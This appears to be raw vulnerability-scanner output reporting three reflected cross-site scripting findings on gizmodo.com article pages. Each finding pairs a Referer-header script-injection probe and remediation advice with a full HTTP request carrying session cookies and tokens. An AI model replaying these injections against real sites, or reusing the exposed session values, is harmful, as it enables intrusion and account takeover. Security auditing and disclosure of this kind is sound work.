The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6c915"%3balert(1)//a01d90450f was submitted in the Referer HTTP header. This input was echoed as 6c915";alert(1)//a01d90450f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /5712915/the-real-da-vinci-code-discovered HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071; Referer: http://www.google.com/search?hl=en&q=6c915"%3balert(1)//a01d90450f
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c7ce"%3balert(1)//e957f52fa1b was submitted in the Referer HTTP header. This input was echoed as 8c7ce";alert(1)//e957f52fa1b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /5712981/commenter-qa-were-here-to-help HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071; Referer: http://www.google.com/search?hl=en&q=8c7ce"%3balert(1)//e957f52fa1b
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dac7c"%3balert(1)//444f1d04ae9 was submitted in the Referer HTTP header. This input was echoed as dac7c";alert(1)//444f1d04ae9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /5713152/your-body-is-a-gadget HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071; Referer: http://www.google.com/search?hl=en&q=dac7c"%3balert(1)//444f1d04ae9